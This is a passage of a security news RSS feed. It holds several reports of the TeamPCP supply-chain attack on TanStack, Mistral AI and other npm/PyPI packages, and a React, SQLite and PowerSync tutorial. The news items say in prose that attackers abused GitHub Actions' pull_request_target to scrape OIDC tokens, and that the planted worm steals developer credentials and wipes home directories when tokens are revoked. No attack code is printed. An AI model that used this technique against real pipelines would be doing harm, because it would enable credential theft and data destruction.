						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The TeamPCP threat group has pulled off another big supply chain attack which within a few hours this week was able to successfully compromise 170 Node Package Manager (npm) and PyPI packages.</p>



<p>The attack affected the entire TanStack Router ecosystem (@tanstack) of 42 packages, a routing library hugely popular among React web application developers. Multiple other packages were also affected, including @squawk (87 packages), @uipath (66 packages), @tallyui (30 packages), @beproduct (18 packages), as well as Mistral AI’s SDK suite on both npm and PyPI, and the Guardrails AI PyPI package.</p>



<p>The attacks, noticed by several vendors using automated security tools, happened on May 11, spreading rapidly through package ecosystems thanks to the worm capabilities of the automated Mini Shai-Hulud malware platform, analysis found.</p>



<p>The exact number of package versions caught up in the attack varies depending on the source; according to <a href="https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised" target="_blank" rel="noreferrer noopener">Aikido Security</a> it was 373 across 169 package namespaces, while <a href="https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/#appendix-list-of-compromised-packages" target="_blank" rel="noreferrer noopener">SafeDep said</a> the number was 404 package versions across 170 npm packages, with two affecting PyPI.</p>



<h2 class="wp-block-heading">Dead man’s switch</h2>



<p>A striking feature of the attacks is the ease with which the threat group blamed for the attack, TeamPCP, was able to hijack the project’s legitimate release pipelines by exploiting a mixture of maintainer misconfigurations and GitHub Actions weaknesses.</p>



<p>Instead of stealing maintainer credentials directly, the attackers exploited a risky trigger, <em>pull_request_target</em>. This allows third-party workflows to run automatically — a way of avoiding maintainer approval fatigue — but means that the maintainer’s short-lived OIDC tokens become vulnerable to scraping.</p>



<p>Armed with these tokens, the attacker were able to compromise the packages by injecting the malicious Mini Shai-Hulud malware, which propagated to other projects.</p>



<p>The purpose is to steal developer credentials such as GitHub and npm tokens, cloud credentials, API keys, Kubernetes service accounts, and SSH keys. Less pleasantly, the malware also installs a destructive ‘dead man’s switch’ monitor which attempts to delete the user’s entire home directory if a developer revokes a stolen GitHub token.</p>



<p>Attacks by TeamPCP targeting software supply chains have become a recurring theme in recent months. This includes a similar compromise in April of the command line version of the <a href="https://www.csoonline.com/article/4162865/bitwarden-cli-password-manager-trojanized-in-supply-chain-attack.html">Bitwarden password manager</a>. A month earlier it was <a href="https://www.csoonline.com/article/4149938/trivy-supply-chain-breach-compromises-over-1000-saas-environments-lapsus-joins-the-extortion-wave.html">Aqua Security’s Trivy open-source vulnerability scanner</a>, later revealed to have caused a data breach at the <a href="https://www.csoonline.com/article/4154176/cert-eu-blames-trivy-supply-chain-attack-for-europa-eu-data-breach.html">EU’s Europa.eu web hub</a>. </p>



<h2 class="wp-block-heading">Enterprise prize</h2>



<p>According to <a href="https://www.linkedin.com/in/abh1sek" target="_blank" rel="noreferrer noopener">Abhisek Datta</a>, founder of SafeDep, one of the first vendors to detect the compromise, TeamPCP  appeared to have designed the campaign to target US developers.</p>



<p>“They know that high-profile attacks will be detected quickly by the industry. By targeting specific US working hours, they likely want to maximize their return during a short window of opportunity,” he said via email.</p>



<p>“The way the software usage and trust network has evolved, primarily leaning towards implicit trust, is probably the root cause that is being exploited in these attacks. Unfortunately, it’s hard to fix, especially today where developers and software companies expect velocity over everything else.”</p>



<p>Developers could put more security around packages, but this would create added friction, Datta said. “Honestly, I would say this is something the world is still trying to figure out.”</p>



<p>SafeDep has published a <a href="https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/#appendix-list-of-compromised-packages" target="_blank" rel="noreferrer noopener">full list</a> of affected packages, with indicators of compromise. If any of the compromised packages are in use, recommended actions are to check the lockfile for known compromised versions, pin dependencies to knows good versions, and to check for evidence of malware files. If an infected version is suspected, credentials in use at the time of import should be rotated.</p>



<p><em>This article first appeared on <a href="https://www.csoonline.com/article/4170284/mistral-ai-sdk-tanstack-router-hit-in-npm-software-supply-chain-attack.html">CSO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mistral AI SDK, TanStack Router hit in npm software supply chain attack]]></title>
<description><![CDATA[The TeamPCP threat group has pulled off another big supply chain attack which within a few hours this week was able to successfully compromise 170 Node Package Manager (npm) and PyPI packages.



The attack affected the entire TanStack Router ecosystem (@tanstack) of 42 packages, a routing librar...]]></description>
<link>https://tsecurity.de/de/3511339/it-security-nachrichten/mistral-ai-sdk-tanstack-router-hit-in-npm-software-supply-chain-attack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3511339/it-security-nachrichten/mistral-ai-sdk-tanstack-router-hit-in-npm-software-supply-chain-attack/</guid>
<pubDate>Tue, 12 May 2026 19:23:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The TeamPCP threat group has pulled off another big supply chain attack which within a few hours this week was able to successfully compromise 170 Node Package Manager (npm) and PyPI packages.</p>



<p>The attack affected the entire TanStack Router ecosystem (@tanstack) of 42 packages, a routing library hugely popular among React web application developers. Multiple other packages were also affected, including @squawk (87 packages), @uipath (66 packages), @tallyui (30 packages), @beproduct (18 packages), as well as Mistral AI’s SDK suite on both npm and PyPI, and the Guardrails AI PyPI package.</p>



<p>The attacks, noticed by several vendors using automated security tools, happened on May 11, spreading rapidly through package ecosystems thanks to the worm capabilities of the automated Mini Shai-Hulud malware platform, analysis found.</p>



<p>The exact number of package versions caught up in the attack varies depending on the source; according to <a href="https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised" target="_blank" rel="noreferrer noopener">Aikido Security</a> it was 373 across 169 package namespaces, while <a href="https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/#appendix-list-of-compromised-packages" target="_blank" rel="noreferrer noopener">SafeDep said</a> the number was 404 package versions across 170 npm packages, with two affecting PyPI.</p>



<h2 class="wp-block-heading">Dead man’s switch</h2>



<p>A striking feature of the attacks is the ease with which the threat group blamed for the attack, TeamPCP, was able to hijack the project’s legitimate release pipelines by exploiting a mixture of maintainer misconfigurations and GitHub Actions weaknesses.</p>



<p>Instead of stealing maintainer credentials directly, the attackers exploited a risky trigger, <em>pull_request_target</em>. This allows third-party workflows to run automatically — a way of avoiding maintainer approval fatigue — but means that the maintainer’s short-lived OIDC tokens become vulnerable to scraping.</p>



<p>Armed with these tokens, the attacker were able to compromise the packages by injecting the malicious Mini Shai-Hulud malware, which propagated to other projects.</p>



<p>The purpose is to steal developer credentials such as GitHub and npm tokens, cloud credentials, API keys, Kubernetes service accounts, and SSH keys. Less pleasantly, the malware also installs a destructive ‘dead man’s switch’ monitor which attempts to delete the user’s entire home directory if a developer revokes a stolen GitHub token.</p>



<p>Attacks by TeamPCP targeting software supply chains have become a recurring theme in recent months. This includes a similar compromise in April of the command line version of the <a href="https://www.csoonline.com/article/4162865/bitwarden-cli-password-manager-trojanized-in-supply-chain-attack.html">Bitwarden password manager</a>. A month earlier it was <a href="https://www.csoonline.com/article/4149938/trivy-supply-chain-breach-compromises-over-1000-saas-environments-lapsus-joins-the-extortion-wave.html">Aqua Security’s Trivy open-source vulnerability scanner</a>, later revealed to have caused a data breach at the <a href="https://www.csoonline.com/article/4154176/cert-eu-blames-trivy-supply-chain-attack-for-europa-eu-data-breach.html">EU’s Europa.eu web hub</a>. </p>



<h2 class="wp-block-heading">Enterprise prize</h2>



<p>According to <a href="https://www.linkedin.com/in/abh1sek" target="_blank" rel="noreferrer noopener">Abhisek Datta</a>, founder of SafeDep, one of the first vendors to detect the compromise, TeamPCP  appeared to have designed the campaign to target US developers.</p>



<p>“They know that high-profile attacks will be detected quickly by the industry. By targeting specific US working hours, they likely want to maximize their return during a short window of opportunity,” he said via email.</p>



<p>“The way the software usage and trust network has evolved, primarily leaning towards implicit trust, is probably the root cause that is being exploited in these attacks. Unfortunately, it’s hard to fix, especially today where developers and software companies expect velocity over everything else.”</p>



<p>Developers could put more security around packages, but this would create added friction, Datta said. “Honestly, I would say this is something the world is still trying to figure out.”</p>



<p>SafeDep has published a <a href="https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/#appendix-list-of-compromised-packages" target="_blank" rel="noreferrer noopener">full list</a> of affected packages, with indicators of compromise. If any of the compromised packages are in use, recommended actions are to check the lockfile for known compromised versions, pin dependencies to knows good versions, and to check for evidence of malware files. If an infected version is suspected, credentials in use at the time of import should be rotated.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[84 TanStack npm Packages Compromised in Ongoing Supply-Chain Attack Targeting CI Credentials]]></title>
<description><![CDATA[A massive supply chain breach has rocked the developer community after malicious actors compromised 84 npm packages within the widely used TanStack ecosystem. The attackers injected a sophisticated credential-stealing payload designed to silently harvest secrets from continuous integration enviro...]]></description>
<link>https://tsecurity.de/de/3510304/it-security-nachrichten/84-tanstack-npm-packages-compromised-in-ongoing-supply-chain-attack-targeting-ci-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3510304/it-security-nachrichten/84-tanstack-npm-packages-compromised-in-ongoing-supply-chain-attack-targeting-ci-credentials/</guid>
<pubDate>Tue, 12 May 2026 14:55:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A massive supply chain breach has rocked the developer community after malicious actors compromised 84 npm packages within the widely used TanStack ecosystem. The attackers injected a sophisticated credential-stealing payload designed to silently harvest secrets from continuous integration environments, including GitHub Actions pipelines. Packages such as React Router, downloaded over 12 million times weekly, were […]</p>
<p>The post <a href="https://cyberpress.org/84-tanstack-npm-packages-compromised/">84 TanStack npm Packages Compromised in Ongoing Supply-Chain Attack Targeting CI Credentials</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kill the loading spinner with local-first data and reactive SQL]]></title>
<description><![CDATA[It’s not every day that a radically new architecture comes along, but here we are: in-browser SQLite, combined with reactive SQL and auto-syncing. The promise is instant interactivity on the front end, while maintaining data symmetry with the back end. As a direct challenger to the RESTful group-...]]></description>
<link>https://tsecurity.de/de/3509683/ai-nachrichten/kill-the-loading-spinner-with-local-first-data-and-reactive-sql/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3509683/ai-nachrichten/kill-the-loading-spinner-with-local-first-data-and-reactive-sql/</guid>
<pubDate>Tue, 12 May 2026 11:33:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>It’s not every day that a radically new architecture comes along, but here we are: <a href="https://sqlite.org/wasm/doc/trunk/index.md" data-type="link" data-id="https://sqlite.org/wasm/doc/trunk/index.md">in-browser SQLite</a>, combined with <a href="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html" data-type="link" data-id="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html">reactive SQL</a> and auto-syncing. The promise is instant interactivity on the front end, while maintaining data symmetry with the back end. As a direct challenger to the <a href="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html" data-type="link" data-id="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html">RESTful group-think</a> that has dominated web development for a decade, it is well worth a look. </p>



<h2 class="wp-block-heading">Not really new, but improved</h2>



<p>This idea isn’t brand new. Developers have been doing this kind of thing in one fashion or another for years (think of how some apps work offline). But this new-generation stack feels different, and it’s starting to see broader appeal. </p>



<p>It’s called local-first data. I recently <a href="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html" data-type="link" data-id="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html">covered the idea at a high level</a>. Now it’s time for a look at the nitty gritty.</p>



<p>The concept is simple. Instead of asking a remote server for permission to change a number, your app writes state directly to a local SQLite database running in the browser (via <a href="https://www.infoworld.com/article/2255892/what-is-webassembly-the-next-generation-web-platform-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2255892/what-is-webassembly-the-next-generation-web-platform-explained.html">WebAssembly</a>). A sophisticated background engine then handles the hard work of syncing those changes to the cloud and other devices.</p>



<p>For React developers, the best part is that we remain in the reactive paradigm. Even though we are writing raw <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html" data-type="link" data-id="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">SQL</a> queries, the shuffling of the data is handled for us. Our UI components subscribe to the database, and when the data changes (whether locally from a user click or an inbound sync update from the cloud), the UI updates instantly.</p>



<p>When you use Spotify, you don’t download their entire multi-million song catalog. You just download your list and, even if you are offline, you listen to your music lag-free. This is the same kind of model we are building with local-first data, but with a lot of extra power. We can make changes to our local state, and those changes will be synced with the back end when a connection is available. And correspondingly, we will automatically receive important updates from the world.</p>



<h2 class="wp-block-heading">Three architectural components</h2>



<p>To pull this off we need three major architectural components:</p>



<ul class="wp-block-list">
<li>The client-side UI and database (React and SQLite Wasm )</li>



<li>A syncing engine (PowerSync)</li>



<li>A database of record (Supabase)</li>
</ul>



<p>Let’s start by setting up the cloud services we need: Supabase and PowerSync, both of which will be free-tier. For our client-side UI and database, we’ll make use of a React+SQLite demo app provided by Supabase. </p>



<h3 class="wp-block-heading">Supabase – the database of record</h3>



<p>Supabase is a managed Postgres service with a lot of niceties. Our example is going to be very simple, with only one row required. Go to <a href="http://supabase.com/">Supabase.com</a>, create a free account, and start a new project. Clicking on the project will bring you to its details:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-01.png?w=1024" alt="React-Supabase-PowerSync 01" class="wp-image-4168592" width="1024" height="406" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<p>Next we create a database schema to hold our data, which will be a simple one. On the left side menu, open the SQL Editor and run the following code.</p>



<pre class="wp-block-code"><code>-- 1. Create the table to store our counters
CREATE TABLE counters (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  created_at TIMESTAMPTZ DEFAULT NOW(),
  count INTEGER DEFAULT 0,
  owner_id UUID DEFAULT auth.uid()
);

-- 2. Turn on Row Level Security (RLS) 
ALTER TABLE counters ENABLE ROW LEVEL SECURITY;

-- 3. Access Policies 
CREATE POLICY "Users can all on own counters" 
ON counters FOR ALL 
USING (auth.uid() = owner_id);

-- 4. Publish the table
DROP PUBLICATION IF EXISTS powersync;
CREATE PUBLICATION powersync FOR TABLE counters;
</code></pre>



<p>Each step is annotated within the code above. The first step is standard SQL, creating a table with a few columns including a random UUID primary key. The second step turns on <a href="https://supabase.com/docs/guides/database/postgres/row-level-security">row level security</a>. The third step creates an access policy allowing users access to their own counter row (as determined by their logged in id: <code>auth.uid() = owner_id</code>). The fourth step creates a link between the Supabase instance and PowerSync.</p>



<p>Before we leave Supabase, click the “+ Connect” button at the top and grab the connection string, which looks something like this:</p>



<pre class="wp-block-code"><code>postgresql://postgres:[YOUR-PASSWORD]@db.fooizpddffaabqcydusj.supabase.co:5432/postgres</code></pre>



<h3 class="wp-block-heading">PowerSync – the syncing engine</h3>



<p>Now let’s jump into PowerSync. Go to <a href="https://powersync.com/" data-type="link" data-id="https://powersync.com/">PowerSync.com</a>, create a free account, and start a new project. Open the project details:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-02.png?w=1024" alt="React-Supabase-PowerSync 02" class="wp-image-4168596" width="1024" height="454" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<p>In the PowerSync dashboard, we need to create a bridge to Supabase. Follow these steps: </p>



<ol class="wp-block-list">
<li>Click “Create New Instance”.</li>



<li>Click the “Database Connections” item on the left, then click the + button.</li>



<li>Paste the connection string you copied from Supabase. Note: If your string has a <code>[YOUR-PASSWORD]</code> placeholder, replace it with the actual password you created for the instance.</li>



<li>Click “Test Connection”.</li>
</ol>



<p>PowerSync will now reach out to the Postgres instance we created before. If you ran the <code>CREATE PUBLICATION SQL</code> command correctly in the Supabase setup, this will succeed, and you’ll see a green “Connection Successful!” status message.</p>



<h4 class="wp-block-heading">Configure authentication</h4>



<p>We told PowerSync how to <em>read</em> our Supabase data (Postgres). Now we need tell it how to <em>trust</em> our users. Here are the steps: </p>



<ol class="wp-block-list">
<li>In the PowerSync dashboard, click the “Client Auth” tab</li>



<li>Look for the “JWKS URI” field.</li>



<li>Construct your JWKS URL. It is your Supabase Project URL + a specific suffix. 
<ul class="wp-block-list">
<li>Format: <code>https://[YOUR-PROJECT-ID].supabase.co/auth/v1/.well-known/jwks.json</code></li>



<li>Note: You can get your Project URL from Supabase &gt; Settings &gt; API.</li>
</ul>
</li>



<li>Paste your JWKS URL into the JWKS URI field and click “Save”.</li>



<li>Set the Audience to “authenticated”:
<ul class="wp-block-list">
<li>Click the (+) Add button under “Token Claims”.</li>



<li>Claim: Type <code>aud</code></li>



<li>Value: Type <code>authenticated</code></li>
</ul>
</li>
</ol>



<p>This configuration tells PowerSync, “Only trust tokens that are signed by Supabase AND are meant for the ‘authenticated’ user group.”</p>



<h4 class="wp-block-heading">Define the sync rules</h4>



<p>The sync rules are the essential architectural element to understand. This is where we tell Powersync what <em>part </em>of the data the user is privy to. This is sometimes called the “data shape” for the user. Each user has their own shape of the overall data, based on their unique profile.</p>



<p>We do not want to sync the <em>entire</em> database to the user’s laptop. That would be bad on many levels. Instead, we define a sync rule (or “bucket” in PowerSync), which is a filter that determines what data belongs to which user.</p>



<p>Navigate to “Sync Rules” on the left. You’ll get a YAML editor. Replace the default code with the following code.</p>



<pre class="wp-block-code"><code>YAML
config:
  edition: 2

bucket_definitions:
  user_counters:
    # 1. Identify the user from their Auth Token
    parameters: SELECT request.user_id() as user_id

    # 2. Only sync rows that belong to them
    data:
      - SELECT * FROM counters WHERE owner_id = bucket.user_id
</code></pre>



<p>This code defines the special view of the data for users:</p>



<ul class="wp-block-list">
<li><code>user_counters</code>: This is a “bucket”, a collection of data</li>



<li><code>request.user_id()</code>: PowerSync automatically extracts the user id from the Supabase auth token.</li>



<li>The data query: This SQL runs in the cloud, grabbing only the rows where the <code>owner_id</code> column matches the logged-in user and streams them down to the device.</li>
</ul>



<p>You can click “Validate” to check that this is working. Click “Deploy” to make it live.</p>



<h2 class="wp-block-heading">React and SQLite – the client-side UI and database</h2>



<p>We have done a lot of administrative work here, but it is giving us an entire reactive architecture based on SQL. Let’s push ahead with a client that can use it.</p>



<p>To get a quick look, let’s clone a demo app from Supabase. At the command line, run: </p>



<pre class="wp-block-code"><code>$ git clone https://github.com/powersync-community/vite-react-ts-powersync-supabase.git
$ cd vite-react-ts-powersync-supabase
$ npm install
</code></pre>



<p>Once the npm command finishes, we want to point the app at the infrastructure we just created. We can do that using the <code>.env.local</code> environmental variable file. Open <code>.env.local</code> and change the vars to point to your services. Here is the code:</p>



<pre class="wp-block-code"><code>VITE_SUPABASE_URL=https://fooizpddffaabqcydusj.supabase.co
VITE_SUPABASE_ANON_KEY=sb_publishable_gqUrYxDt04rg74fopz5rUg_ayDxpmgE
VITE_POWERSYNC_URL=https://foofcf18cc2560584a018a12.powersync.journeyapps.com
</code></pre>



<p>We are ready to test our React app:</p>



<pre class="wp-block-code"><code>$ npm run dev:ui
</code></pre>



<p>The demo app is a simple counter—a web page that presents an “Increment” button and shows the count. None too exciting, except for the data syncing magic behind the scenes. </p>



<p>Run the above command, and a browser window will open showing a “Create Counter” button. When you click it, the demo will give you a counter in a new window, along with a user ID and a panel that shows connection and sync status. You can create as many counters as you like, each in a separate browser window. </p>



<p>You can verify your counter is working by going to the Supabase dashboard, looking at the “Table” pane and seeing that a row has indeed been inserted for your user in the counter table. Another good check is to log in using another browser/device (or incognito tab). </p>



<p>Log in and create another counter in the second browser window, so that you have two different Supabase-synced session counters side by side: </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-03-1.png" alt="React-Supabase-PowerSync 03" class="wp-image-4169002" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<p>Whenever you create a new counter, a new row will be inserted into Supabase. The screenshot below shows a Supabase table with two rows, each with its own user ID and counter value. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-04.png" alt="React-Supabase-PowerSync 04" class="wp-image-4169007" width="1024" height="487" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<h3 class="wp-block-heading">The React code (App.tsx)</h3>



<p>We are moving quickly, but there are some interesting things to make note of in the src/App.tsx file. This code is the main React code for the app, and demonstrates the shift from “asking the server” to “interacting with local database state.” </p>



<p>There are two landmarks here that every React developer needs to see: the reactive read and the instant write. </p>



<h4 class="wp-block-heading">The reactive read (useQuery)</h4>



<p>In a standard React app, we would retrieve the data by using a <code>useEffect</code> to call <code>fetch('/api/counters')</code>. In our local-first React app, we use raw SQL:</p>



<pre class="wp-block-code"><code>const { data: counters, isLoading } = useQuery<counterrecord>(
  `SELECT * FROM ${COUNTER_TABLE} ORDER BY created_at ASC`,
  [],
  {
    rowComparator: {
      keyBy: (item) =&gt; item.id,
      compareBy: (item) =&gt; JSON.stringify(item)
    }
  }
);
</counterrecord></code></pre>



<p>This is the “reactive SQL” part of the architecture.</p>



<p>This <code>useQuery</code> hook subscribes to the local SQLite database. When the background worker receives an update from the cloud—or when you update a row locally—this hook fires instantly and re-renders the component. No manual state management or re-fetching logic is required, and there is no intermediate object of state. The back-end state and the front-end state are the same.</p>



<h4 class="wp-block-heading">The instant write (powerSync.execute)</h4>



<p>Notice what happens when we increment the counter. There is no <code>await api.post(...)</code> and no loading spinner state.</p>



<pre class="wp-block-code"><code>const updateCounter = async (counter: CounterRecord, newCount: number) =&gt; {
  // Writes to Local SQLite immediately
  await powerSync.execute(
    `UPDATE ${COUNTER_TABLE} SET count = ? WHERE owner_id = ?`,
    [newCount, counter.owner_id]
  );
};
</code></pre>



<p>This code is interesting on its own, because it’s like a reactive SQL statement. We write to the local file (Wasm). The write completes in milliseconds, and the UI updates immediately via the <code>useQuery</code> hook. The PowerSync syncing engine picks up the change asynchronously and pushes it to Supabase.</p>



<h2 class="wp-block-heading">The local-first vs. RESTful calculation</h2>



<p>So, is all of this configuration and newfangled code worth it?</p>



<p>If you are building a simple dashboard or a form-based application, the traditional JSON API (REST or GraphQL) approach is still king. In those models, the server is the single source of truth, and the client is just a dumb terminal. It is simple, stateless, and easy to debug. It’s also familiar.</p>



<p>But that simplicity comes with an unavoidable latency cost. Every interaction requires a round-trip ticket to the server. If the network hiccups, your app freezes. JSON APIs force you to manage loading states, error boundaries, and optimistic UI rollbacks manually.</p>



<p>Local-first flips the calculation. You pay a higher cost up front: you have to define a schema, manage a local database, and think about syncing rules. But in exchange, you get an application that feels like a native piece of software. Local-first creates data continuity, the ability to walk out of Wi-Fi range, keep working, and have your data follow you across devices when you reconnect.</p>



<p>Architecturally, we used three major components: the database, the syncing engine, and the client. This is actually similar to your conventional RESTful stack. In the local-first structure, the syncing engine takes the place of the JSON API server. In short, you have a similar amount of high-level complexity, but with different actors on the ground.</p>



<p>Local-first architecture is a fascinating development for JavaScript and the web in general. There is a huge inertial mass of JSON APIs to overcome, but here is a real countercurrent. Local-first may never rise to the level of adoption of RESTful architecture, but local-first data and reactive SQL constitute one of the most important trends to be watching closely right now.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[84 TanStack npm Packages Compromised in Ongoing Supply-Chain Attack Targeting CI Credentials]]></title>
<description><![CDATA[A massive supply chain breach has rocked the developer community after malicious actors compromised 84 npm packages within the widely used TanStack ecosystem. The attackers injected a sophisticated credential-stealing payload designed to silently harvest secrets from continuous integration enviro...]]></description>
<link>https://tsecurity.de/de/3509486/it-security-nachrichten/84-tanstack-npm-packages-compromised-in-ongoing-supply-chain-attack-targeting-ci-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3509486/it-security-nachrichten/84-tanstack-npm-packages-compromised-in-ongoing-supply-chain-attack-targeting-ci-credentials/</guid>
<pubDate>Tue, 12 May 2026 10:24:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A massive supply chain breach has rocked the developer community after malicious actors compromised 84 npm packages within the widely used TanStack ecosystem. The attackers injected a sophisticated credential-stealing payload designed to silently harvest secrets from continuous integration environments, including GitHub Actions pipelines. Packages such as React Router, downloaded over 12 million times weekly, were […]</p>
<p>The post <a href="https://cyberpress.org/84-tanstack-npm-packages-compromised-in-ongoing-supply-chain-attack-targeting-ci-credentials/">84 TanStack npm Packages Compromised in Ongoing Supply-Chain Attack Targeting CI Credentials</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[84 npm Packages Linked to TanStack Hit by Supply-Chain Breach]]></title>
<description><![CDATA[A massive supply chain breach affecting 84 npm packages within the widely used TanStack ecosystem. Malicious actors compromised these packages by injecting a sophisticated credential-stealing tool designed to target continuous integration environments such as GitHub Actions. Packages such as Reac...]]></description>
<link>https://tsecurity.de/de/3509138/it-security-nachrichten/84-npm-packages-linked-to-tanstack-hit-by-supply-chain-breach/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3509138/it-security-nachrichten/84-npm-packages-linked-to-tanstack-hit-by-supply-chain-breach/</guid>
<pubDate>Tue, 12 May 2026 08:07:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A massive supply chain breach affecting 84 npm packages within the widely used TanStack ecosystem. Malicious actors compromised these packages by injecting a sophisticated credential-stealing tool designed to target continuous integration environments such as GitHub Actions. Packages such as React…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/84-npm-packages-linked-to-tanstack-hit-by-supply-chain-breach/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/84-npm-packages-linked-to-tanstack-hit-by-supply-chain-breach/">84 npm Packages Linked to TanStack Hit by Supply-Chain Breach</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[84 npm Packages Linked to TanStack Hit by Supply-Chain Breach]]></title>
<description><![CDATA[A massive supply chain breach affecting 84 npm packages within the widely used TanStack ecosystem. Malicious actors compromised these packages by injecting a sophisticated credential-stealing tool designed to target continuous integration environments such as GitHub Actions. Packages such as Reac...]]></description>
<link>https://tsecurity.de/de/3509100/it-security-nachrichten/84-npm-packages-linked-to-tanstack-hit-by-supply-chain-breach/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3509100/it-security-nachrichten/84-npm-packages-linked-to-tanstack-hit-by-supply-chain-breach/</guid>
<pubDate>Tue, 12 May 2026 07:38:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A massive supply chain breach affecting 84 npm packages within the widely used TanStack ecosystem. Malicious actors compromised these packages by injecting a sophisticated credential-stealing tool designed to target continuous integration environments such as GitHub Actions. Packages such as React Router, which sees over 12 million weekly downloads, were modified, posing a severe threat to […]</p>
<p>The post <a href="https://gbhackers.com/84-npm-packages-tanstack-hit-by-supply-chain-breach/">84 npm Packages Linked to TanStack Hit by Supply-Chain Breach</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build an AI-Powered Learning Management System That Actually Trains People]]></title>
<description><![CDATA[Learn how to build an AI-powered Learning Management System from scratch using Ollama, FastAPI, and React. A step-by-step guide for beginner and intermediate developers.]]></description>
<link>https://tsecurity.de/de/3507373/ai-nachrichten/build-an-ai-powered-learning-management-system-that-actually-trains-people/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3507373/ai-nachrichten/build-an-ai-powered-learning-management-system-that-actually-trains-people/</guid>
<pubDate>Mon, 11 May 2026 16:20:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Learn how to build an AI-powered Learning Management System from scratch using Ollama, FastAPI, and React. A step-by-step guide for beginner and intermediate developers.]]></content:encoded>
</item>
<item>
<title><![CDATA[DPRK Adopts EtherHiding: Nation-State Malware Hiding on Blockchains]]></title>
<description><![CDATA[Written by: Blas Kojusner, Robert Wallace, Joseph Dobson

Google Threat Intelligence Group (GTIG) has observed the North Korea (DPRK) threat actor UNC5342 using ‘EtherHiding’ to deliver malware and facilitate cryptocurrency theft, the first time GTIG has observed a nation-state actor adopting thi...]]></description>
